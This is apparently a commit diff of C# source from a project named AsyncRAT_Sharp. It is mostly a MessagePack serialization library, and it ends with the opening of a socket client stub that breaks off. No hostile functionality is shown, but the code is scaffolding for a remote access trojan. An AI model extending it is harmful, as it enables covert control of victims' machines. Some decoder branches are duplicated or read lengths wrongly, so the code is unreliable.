static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -0,0 +1,930 @@
/*
* DecodeFormFile函数
* 2015-07-14 16:31:32
*
* ForcePathObject查找不到子对象的bug,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 16:32:13
*
* 1270,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 15:28:45
*/
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
MemoryStream ms = new MemoryStream();
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
MemoryStream ms = new MemoryStream();
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -0,0 +1,203 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

View File

@ -0,0 +1,163 @@
using AsyncRAT_Sharp.MessagePack;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices;
using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace Client
{
class Program
{
public static Socket client;
public static byte[] Buffer;
public static long Buffersize;
public static bool BufferRecevied;
public static MemoryStream MS;
static void Main(string[] args)
{
InitializeClient();
while (true)
{
Thread.Sleep(1000);
}
}
public static void InitializeClient()
{
try
{
